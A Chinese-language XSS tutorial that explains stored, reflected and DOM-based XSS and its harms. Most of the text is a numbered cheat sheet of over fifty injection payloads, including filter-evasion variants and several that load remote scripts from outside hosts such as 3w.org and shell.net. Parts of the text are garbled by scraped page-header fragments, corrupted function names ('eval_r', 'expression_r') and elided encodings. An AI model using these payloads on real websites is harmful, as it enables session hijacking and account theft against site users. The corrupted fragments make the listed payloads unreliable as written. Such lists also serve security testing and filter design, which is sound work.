01、XSS的原理和分类跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆 故将跨站脚本攻击缩写为XSS,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的,XSS攻击针对的是用户层面的攻击; XSS分为:存储型,反射型,DOM型XSS 存储型XSS:存储型XSS,持久化,代码是存储在服务器中,如在个人信息或发表文章等地方,插入代码,如果没有过滤或者过滤不严,那么这些代码将储存到数据库中,用户访问该页面的时候出发代码执行,这种XSS比较危险,容易造成蠕虫,盗取Cookie; 反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面,反射性XSS大多数是用来盗取用户的Cookie信息; DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Object Model ,DOM)的一种漏洞,DOM-XSS是用过url传入参数取控制触发的,其实也属于反射型XSS,DOM的详解:DOM文档对象模型; 可能触发DOM型XSS的属性 document.referer window.name location innerHTML documen.write
02、XSS攻击的危害1、盗取各类用户账号,如机器登陆账号,用户网银账号,各类管理员账号; 2、控制企业数据,包括读取,篡改,添加,删除企业敏感数据的能力; 3、盗取企业重要的具有商业价值的资料; 4、非法转账; 5、强制发送电子邮件; 6、网站挂马; 7、控制受害者机器向其他网站发起攻击; 03、XSS的测试语句在网站是否存在XSS漏洞时,应该输入一些标签,如<,>输入后查看网页源代码是否过滤标签,如果没有过滤,很大可能存在XSS漏洞。 常用测试语句: <h5>1</h5> <span>1</span> 可以看到,网站并没有对标签进行过滤; <script>console.log(1);</script> 可以看到,并没有弹出,但是控制台上输出了1,我们可以确定,确实存在XSS; 闭合问题:很多时候,在测试XSS的时候,想要要考虑到闭合问题,我们首先查看网页的源代码,需要首先判断出来,网站用的时单引号闭合还是双引号闭合; "><span>x</span><" '><span>x</span><' 单行注释: "><span>x</span>//#双斜杠表示注释掉后面的语句 0x04、XSS攻击语句输入检测确定标签没有过滤,为了显示漏洞存在,需要插入XSS攻击代码; <script>alert(1)</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa</a>
(1)普通的 XSS JavaScript 注入 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (2)IMG 标签 XSS 使用 JavaScript 命令 <IMG SRC=http://3w.org/XSS/xss.js/> (3)IMG 标签无分号无引号 <IMG SRC=javascript:alert('XSS')> (4)IMG 标签大小写不敏感 <IMG SRC=JaVaScRiPt:alert('XSS')> (5)HTML 编码(必须有分号) <IMG SRC=javascript:alert("XSS")> (6)修正缺陷 IMG 标签 <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> (7)formCharCode 标签(计算器) <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> (8)UTF-8 的 Unicode 编码(计算器) <IMG SRC=jav..省略..S')> (9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器) <IMG SRC=jav..省略..S')> (10)十六进制编码也是没有分号(计算器) <IMG SRC=java..省略..XSS')> (11)嵌入式标签,将 Javascript 分开 <IMG SRC="jav ascript:alert('XSS');"> (12)嵌入式编码标签,将 Javascript 分开 <IMG SRC="jav ascript:alert('XSS');"> (13)嵌入式换行符 <IMG SRC="jav ascript:alert('XSS');"> (14)嵌入式回车 <IMG SRC="jav ascript:alert('XSS');"> (15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子 <IMG SRC="javascript:alert('XSS')"> (16)解决限制字符(要求同页面) <script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+'src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.shell'</script>
<script>z=z+'.net/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval_r(z)</script>
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl-e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out (18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用 perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out (19)Spaces 和 meta 前的 IMG 标签 <IMG SRC=" javascript:alert('XSS');"> (20)Non-alpha-non-digit XSS <SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT> (21)Non-alpha-non-digit XSS to 2 <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3 <SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT> (23)双开括号 <<SCRIPT>alert("XSS");//<</SCRIPT> (24)无结束脚本标记(仅火狐等浏览器) <SCRIPT SRChttp://3w.org/XSS/xss.js?<B> (25)无结束脚本标记 2 <SCRIPT SRC=//3w.org/XSS/xss.js> (26)半开的 HTML/JavaScript XSS <IMG SRC="javascript:alert('XSS')" (27)双开角括号 <iframe src=http://3w.org/XSS.html < (28)无单引号 双引号 分号 <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> (29)换码过滤的 JavaScript \";alert('XSS');// (30)结束 Title 标签 </TITLE><SCRIPT>alert("XSS");</SCRIPT> (31)Input Image <INPUT SRC="javascript:alert('XSS');"> (32)BODY Image <BODY BACKGROUND="javascript:alert('XSS')"> (33)BODY 标签 <BODY('XSS')> (34)IMG Dynsrc <IMG DYNSRC="javascript:alert('XSS')"> (35)IMG Lowsrc <IMG LOWSRC="javascript:alert('XSS')"> (36)BGSOUND <BGSOUND SRC="javascript:alert('XSS');"> (37)STYLE sheet <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> (38)远程样式表 <LINK REL="stylesheet" HREF="http://3w.org/xss.css"> (39)List-style-image(列表式) <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE<UL><LI>XSS (40)IMG VBscript <IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS (41)META 链接 url <META HTTP-EQUIV="refresh" CONTENT="0;URL=http://URL=javascript:alert('XSS');"> (42)Iframe <IFRAME SRC="javascript:alert('XSS');"></IFRAME> (43)Frame <FRAMESET><FRAME SRC="javascript:alert('XSS');">
</FRAMESET>12-7-1 T00LS - Powered by Discuz!
Boardhttps:
(44)Table <TABLE BACKGROUND="javascript:alert('XSS')"> (45)TD <TABLE><TD BACKGROUND="javascript:alert('XSS')"> (46)DIV background-image <DIV STYLE="background-image: url(javascript:alert('XSS'))"> (47)DIV background-image 后加上额外字符 (1-32&34&39&160&8192-8&13&12288&65279) **<DIV STYLE="background-image: url(javascript:alert('XSS'))">** (48)DIV expression <DIV STYLE="width: expression_r(alert('XSS'));"> (49)STYLE 属性分拆表达 <IMG STYLE="xss:expression_r(alert('XSS'))"> (50)匿名 STYLE(组成:开角号和一个字母开头) <XSS STYLE="xss:expression_r(alert('XSS'))"> (51)STYLE background-image <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A> (52)IMG STYLE 方式 exppression(alert("XSS"))'> (53)STYLE background 标签: XSS Script 过滤 编码 标签 alert 用户 可以 漏洞 代码
|